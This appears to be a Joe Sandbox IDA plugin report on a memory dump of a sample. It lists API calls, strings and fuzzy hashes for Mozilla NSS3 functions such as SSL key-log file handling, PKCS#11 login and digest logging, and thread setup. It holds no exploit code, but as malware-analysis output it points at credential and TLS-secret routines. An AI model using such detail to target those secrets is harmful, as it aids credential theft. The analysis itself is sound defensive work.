PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D020096
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200A6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200B6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200C6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200D6
PR_NewLock.NSS3(?,?,6D0176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D0200E6

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6716eb4250ebff9377ca710ce0956035ee72a50a945f89559786f489f543a25a
Instruction ID: fc44dec20bac3048d5ed4f60021a116f108cab7cdaa7cb2422e9c10a0f5f4640
Opcode Fuzzy Hash: 6716eb4250ebff9377ca710ce0956035ee72a50a945f89559786f489f543a25a
Instruction Fuzzy Hash: B63105B8D296189E9B75FF25B14030A3AB4F71BA08713B11ED2188F282D7F40146DFD5

Function 6D066E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6D066BF7), ref: 6D066EB6

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6D10FC0A,6D066BF7), ref: 6D066ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D066EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6D066EFC
PR_NewLock.NSS3 ref: 6D066F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D066F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6D066BF7), ref: 6D066F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6D066BF7), ref: 6D066F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6D066BF7), ref: 6D066FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6D066BF7), ref: 6D066FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6D066FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6D066F4F
SSLKEYLOGFILE, xrefs: 6D066EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6D066EF7
SSLFORCELOCKS, xrefs: 6D066F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6D066FF8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 8937d77a6b9374f3cbb31bbe6a5610dcfc7e58ec5f5dff34b3198d64e1342de5
Instruction ID: 25f373564512e483ddd4b10fdf3038e24205e3a3cd386098a8e391f61c862270
Opcode Fuzzy Hash: 8937d77a6b9374f3cbb31bbe6a5610dcfc7e58ec5f5dff34b3198d64e1342de5
Instruction Fuzzy Hash: ADA1F6B6D689D187F7218A3DD80139833E6BBC3335FA58365F83186ED5DBB5944082A1

Function 6CFE5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CFE5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CFE5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CFE5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CFE5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CFE5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CFE5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CFE5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFE5F89
free.MOZGLUE(?), ref: 6CFE5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFE5FB6
free.MOZGLUE(00000000), ref: 6CFE5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFE600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFE6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFE6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFE6094

Strings

, xrefs: 6CFE5EEB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 26a055766712cf4edcade2addd9de3ffd1bebfefa4f5696e468161b5ccf137e9
Instruction ID: ab8cb30fde6c830dc251a6d6b9e1aff26ac8de735194490665c082ff4c4646ad
Opcode Fuzzy Hash: 26a055766712cf4edcade2addd9de3ffd1bebfefa4f5696e468161b5ccf137e9
Instruction Fuzzy Hash: 928103B2E04205ABEF108E64DC81BAF77B5AF4C318F144128E919E7791E731E904CBD2

Function 6D006D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6D006D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D006DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D006DC3

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D006DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6D006DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6D006E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6D006E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6D006E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6D006EB9

Strings

C_Digest, xrefs: 6D006D81
pData = 0x%p, xrefs: 6D006DF5
hSession = 0x%x, xrefs: 6D006D9E, 6D006DAE
pDigest = 0x%p, xrefs: 6D006E27
*pulDigestLen = 0x%x, xrefs: 6D006EB4
pulDigestLen = 0x%p, xrefs: 6D006E42
(CK_INVALID_HANDLE), xrefs: 6D006DBC
ulDataLen = %d, xrefs: 6D006E0E

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 0e50ef4f3034798d8bf89a801d99548f71c41b82a53923abd79f3a2e158de60c
Instruction ID: 19e89938beb63b028dd566ceb7382c1a1e7faa1dd85db73f62ba0727690793af
Opcode Fuzzy Hash: 0e50ef4f3034798d8bf89a801d99548f71c41b82a53923abd79f3a2e158de60c
Instruction Fuzzy Hash: 1041E679904104BFFB20AF55ED44F5A3BB2EB82718F464025FA086B212DBB1D985CFD2

Function 6D009C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6D009C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D009C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D009CA3

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D009CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6D009CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6D009CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6D009D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6D009D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6D009D42

Strings

hSession = 0x%x, xrefs: 6D009C7E, 6D009C8E
userType = 0x%x, xrefs: 6D009CD5
pPin = 0x%p, xrefs: 6D009CF0
ulPinLen = %d, xrefs: 6D009D0B
ulUsernameLen = %d, xrefs: 6D009D3D
pUsername = 0x%p, xrefs: 6D009D24
C_LoginUser, xrefs: 6D009C61
(CK_INVALID_HANDLE), xrefs: 6D009C9C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: c044b03e41971c3ccca10c8d671dd93c301d8b37e2dcf20d9a5d405109463066
Instruction ID: 65611cfcb2b52015f75ba0bb0111327f8596b660f45dd7a68df06b4e00ff281c
Opcode Fuzzy Hash: c044b03e41971c3ccca10c8d671dd93c301d8b37e2dcf20d9a5d405109463066
Instruction Fuzzy Hash: 4741E4B9944105BFFB20EF50FD48F5A3BB1EB42309F4A4015FA086B212DBB08954DBD2

Function 6CFC1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CFC2007
calloc.MOZGLUE(00000001,00000084), ref: 6CFC2077
calloc.MOZGLUE(00000001,0000002C), ref: 6CFC20DF
TlsSetValue.KERNEL32(00000000), ref: 6CFC2188
PR_NewCondVar.NSS3 ref: 6CFC21B7
calloc.MOZGLUE(00000001,00000084), ref: 6CFC221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CFC22C2
GetLastError.KERNEL32 ref: 6CFC22CD
free.MOZGLUE(00000000), ref: 6CFC22DD

Part of subcall function 6CFC0F00: PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B
Part of subcall function 6CFC0F00: PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: d55fc16291f14e62978890c684fb953401884e9482ae1522a10d88ff70436bde
Instruction ID: 2ea43b41d797819be3d6a12b6ebd9da20fc4958f41467d6c152059c8874d8d89
Opcode Fuzzy Hash: d55fc16291f14e62978890c684fb953401884e9482ae1522a10d88ff70436bde
Instruction Fuzzy Hash: 2A91AFB57017029FEB209F78E84879B7AF4FF06704F11442AE55AD6A40DBB29048CF92

Function 6D0E9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6D0E9C70
PR_NewLock.NSS3 ref: 6D0E9C85

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_NewCondVar.NSS3(00000000), ref: 6D0E9C96

Part of subcall function 6CFBBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CFC21BC), ref: 6CFBBB8C

PR_NewLock.NSS3 ref: 6D0E9CA9

Part of subcall function 6D0998D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D099946
Part of subcall function 6D0998D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF516B7,00000000), ref: 6D09994E
Part of subcall function 6D0998D0: free.MOZGLUE(00000000), ref: 6D09995E

PR_NewLock.NSS3 ref: 6D0E9CB9
PR_NewLock.NSS3 ref: 6D0E9CC9
PR_NewCondVar.NSS3(00000000), ref: 6D0E9CDA

Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFBBBEB
Part of subcall function 6CFBBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CFBBBFB
Part of subcall function 6CFBBB80: GetLastError.KERNEL32 ref: 6CFBBC03
Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CFBBC19
Part of subcall function 6CFBBB80: free.MOZGLUE(00000000), ref: 6CFBBC22

PR_NewCondVar.NSS3(?), ref: 6D0E9CF0
PR_NewPollableEvent.NSS3 ref: 6D0E9D03

Part of subcall function 6D0DF3B0: PR_CallOnce.NSS3(6D1314B0,6D0DF510), ref: 6D0DF3E6
Part of subcall function 6D0DF3B0: PR_CreateIOLayerStub.NSS3(6D13006C), ref: 6D0DF402
Part of subcall function 6D0DF3B0: PR_Malloc.NSS3(00000004), ref: 6D0DF416
Part of subcall function 6D0DF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6D0DF42D
Part of subcall function 6D0DF3B0: PR_SetSocketOption.NSS3(?), ref: 6D0DF455
Part of subcall function 6D0DF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6D0DF473

Part of subcall function 6D099890: TlsGetValue.KERNEL32(?,?,?,6D0997EB), ref: 6D09989E

EnterCriticalSection.KERNEL32(?), ref: 6D0E9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6D0E9DAF
_PR_CreateThread.NSS3(00000000,6D0E9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0E9D9F

Part of subcall function 6CFBB3C0: TlsGetValue.KERNEL32 ref: 6CFBB403
Part of subcall function 6CFBB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CFBB459

_PR_CreateThread.NSS3(00000000,6D0EA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0E9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6D0E9DFC
_PR_CreateThread.NSS3(00000000,6D0EA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0E9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6D0E9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6D0E9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E9E89

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: c9c3cc131c576a21546a756c34039c6b216d208411ca0e3ef769b95621fdccbd
Instruction ID: ba014f7c8ae668cc936510c6b91012504bb4cfab5ecaa2d4f59885201cad22d5
Opcode Fuzzy Hash: c9c3cc131c576a21546a756c34039c6b216d208411ca0e3ef769b95621fdccbd
Instruction Fuzzy Hash: 2C616CB1900706AFE710CF75D884A67BBF8FF08248B05452AE90AC7B51EB70E914CBA1

Function 6CFE3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CFE4014

Part of subcall function 6CFE39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFE5E6F,?), ref: 6CFE3A08
Part of subcall function 6CFE39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFE5E6F), ref: 6CFE3A1C
Part of subcall function 6CFE39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CFE4038

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CFE404D

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0FA0F4), ref: 6CFE40C2

Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6D02F0C8
Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D02F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CFE409A

Part of subcall function 6D02BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFDE708,00000000,00000000,00000004,00000000), ref: 6D02BE6A
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?), ref: 6D02BE7E
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CFE411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CFE4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CFE4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6D0FA1C8), ref: 6CFE417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CFE4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFE41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFE41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CFE41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFE41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0FA1A8), ref: 6CFE422D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 5f108632646d3b811166ceaf731ad367c657b4efb11b958dfd383f75dcd2e996
Instruction ID: 746a6688729ed69e35d9297a468b19f7b93528252493eefbb99a29c649a6b937
Opcode Fuzzy Hash: 5f108632646d3b811166ceaf731ad367c657b4efb11b958dfd383f75dcd2e996
Instruction Fuzzy Hash: C35129B1A043017BFB109B669C41F2B7ADCDF6834CF06462DEE59C7A82FB35E5009262

Function 6D028E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6D028E01,00000000,6D029060,6D130B64), ref: 6D028E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028E9E
PORT_ArenaAlloc_Util.NSS3(6D130B64,00000001,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6D028E01), ref: 6D028EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D130B64,6D130B64), ref: 6D028F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6D028F3F

Part of subcall function 6D02A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6D02A421,00000000,00000000,6D029826), ref: 6D02A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D02904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6D028E76

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
